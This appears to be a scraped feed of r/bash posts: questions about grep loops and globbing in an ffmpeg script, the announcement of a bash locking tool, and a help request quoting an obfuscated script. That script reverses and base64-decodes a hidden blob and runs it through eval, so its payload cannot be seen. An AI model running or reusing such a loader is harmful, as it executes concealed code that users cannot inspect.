bRVlTKpFMGR0UXRmQRBDbM5kRkFmYxoUSTR1Y0IVMvhHVrh2SaFDbYl1VkJUUwwmbRVlTKpFMGR0UXRmQRBDbMNlVohWY6x2cZJDe0YVMwFjTWR2aNZkSEN1V4RjVyYEdVtmTKJGVGR0UUlEeSBDbuFVVOpkWwYERTdFZCFFMs5WUXxGRkZlWIlFVCNUZVlzaR1GbKJGSohVWXFzUhVFbudlVk1kWz40RTdVMzJFMs5WUV5kSaBjREN1VkZHZyokcR5GbQ5ESnl3VYpFNSBDbyZVbxoWYIhGdX1GdX1kMKpHVrRmSjpGb0llM0EjUwwWMiVEZKJGSohVWXFzQhdlTyc1akpkWwYERTVFdyJmVw5WUV5kSaJTOuR1V0JUYWBXNNVlTKRWRwl0UXRmQRBDbuFVVOpkWykjUUdFMwE2ax4GZwQWaNRVV5RFRKdlUxAnMRdFbRpFMGB3UYxmUhVFbuFlVohmTqZFWadEZCFFMs5WUV5kSaBjRwF1MWd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MQNlSplka0NDUTpEbJpGdpB1UKJTSIdXaPFjU0A1UKZkWI1UaPNDahNGRwkWSnBHNQNVUvpFWahmYDFUaKVEaq1UaSNjSH10ajxmRYp0RRt2Y5J1MKdUSrN1RNlnSIl1alZEc3p0RZtGZ5J1VPh1brNGbGhlSFd3aWNlU0clbBl2SRBHbk1mRzl0QJtGVqJEeKh0ZrN1RNlnSIpkUWlXSLdCIi0zc7ISUsJSPxUkZ7IiI9cVUytjI0ISPMtjIoNmI9M2Oio3U4JSPw00a7ICZFJSP0g0Z' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"

https://redd.it/1g4txj4
@r_bash

Читать полностью…

r_bash

help

how to decode this shell script and make some changes in it


gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s="

Читать полностью…

r_bash

while loop through grep matches - enters loop despite no matches?

#!/bin/bash

# create text file that does NOT contain string 'error'
echo -e "foo\nbar\nbaz" > ./OUTPUT.txt
#echo -e "foo\nerror logged\nbaz" > ./OUTPUT.txt

# while loop enters regardless?
while read -r error; do
COMPILATIONERROR=true
echo "error:$error"
done <<< "$(grep "error" OUTPUT.txt)"

if [ "$COMPILATION
ERROR" = true ]; then
exit 1
fi

i'm trying to parse a text file of compilation output for specific error patterns. i've created a simplified version of the file above.

i've been using grep to check for the patterns via regex, but have removed the complexity in the example above - just a simple string match demonstrates my problem. basically it seems that grep will return one 'line' that the while loop reads through, even when grep finds no match. i want the while loop to not enter at all in that scenario.

i'm not tied to grep/this while loop method to achieve an equivalent result (echo out each match in a format of my choice, and exit 1 after if matches were found). am a bash idiot and was led down this root via google!

thanks <3

https://redd.it/1g4baiz
@r_bash

Читать полностью…

r_bash

Wildcards don't work when executing script as a program

Hello. I've been going mad trying to figure out exactly why my Bash script for batch encoding videos in FFmpeg doesn't recognize wildcards as such when I run it as a program. Filename for the script is "batch.sh", and I am running it in a directory where I have video files I want to re-encode. Here's what I've got for the script:

#!/bin/sh -efu

for i in .mkv;
do
ffmpeg \
-i "$i" \
-c:v libx265 \
-c:a copy \
-dn -attach "${i%.
}.png" \
-metadata:s:t mimetype=image/png \
-metadata:s:t filename=cover.png \
"${i%.} (1).mkv"
done

When I run the script by itself:

batch.sh

I get these errors:

[in#0 @ 0x5aaf0d6a7700] Error opening input: No such file or directory
Error opening input file
.mkv.
Error opening input files: No such file or directory

However, when I run the script as follows:

bash batch.sh

the wildcards are recognized, and the videos get converted as they should.

I am new to all this, and I simply fail to understand exactly what's going wrong here.

https://redd.it/1g3u9fn
@r_bash

Читать полностью…

r_bash

presenting `plock` - a *very* efficient pure-bash alternative to `flock` that implements locking

## [LINK TO CODE ON GITHUB](https://github.com/jkool702/misc-public-scripts/blob/main/plock.bash)

plock uses shared anonymous pipes to implement locking *very* efficiently. Other than bash, its only dependencies are `find` and that you have procfs available at `/proc`

## USAGE

First source the plock function

. /path/to/plock.bash

Next, you open a file descriptor to a shared anonymous pipe using one of the following commands. Note: these will set 2 variables in your shell: PLOCK_ID and PLOCK_FD

plock -i # this initializes a new anonymous pipe to use and opens file descriptors to it
plock -p ${ID} # this joins another processes existing shared anonymous pipe (identified by $ID, the pipe's inode) and opens file descriptors to it

To access whatever resource is in question exclusively, you use the following. This sequence can be repeated as needed. Note: To ensure exclusive access, all processes accessing the file must use this plock method (this is also true with `flock`)

plock # get lock
# < do stuff with exclusive access >
plock -u # release lock

Finally, to close the file descriptor to the shared anonymous pipe, run

plock -c

See the documentation at the top of the `plock` function for alternate/long flag names and for info on some additional flags not shawn above.

## What is locking?

Running code with multiple processes can speed it up tremendously. Unfortunately, having multiple processes access/modify some file or some computer resource at the same exact moment results in bad things occuring.

This problem is often solved via "locking". prior to accessing the file/resource in question, each process must aquire a lock and then release said lock after they finished their access. This ensures only one process accesses the given file/resource at any given time. `flock` is commonly used to implement this.

## How `plock` works

`plock` re-implements locking using a shared anonymous pipe with a single byte of data (a newline) in its buffer.

* You aquire the lock by reading from the pipe (emptying its buffer and causing other processes trying to read from the pipe to get blocked until there is data).
* You release the lock by writing a single newline back into the shared anonymous pipe.

This process is very efficient, and has some nice properties, including that blocked processes will sit idle, automatically queue themselves, and will automatically unblock when they aquire the lock without needing active polling. It also makes the act of aquiring or relesing a lock almost instant - on my system it takes on average about 70 μs to aquire or release a lock.

***

Questions? Comments? Suggestions? Bug reports? Let me know!

Hope some of you find this useful!

https://redd.it/1g39i1q
@r_bash

Читать полностью…
Subscribe to a channel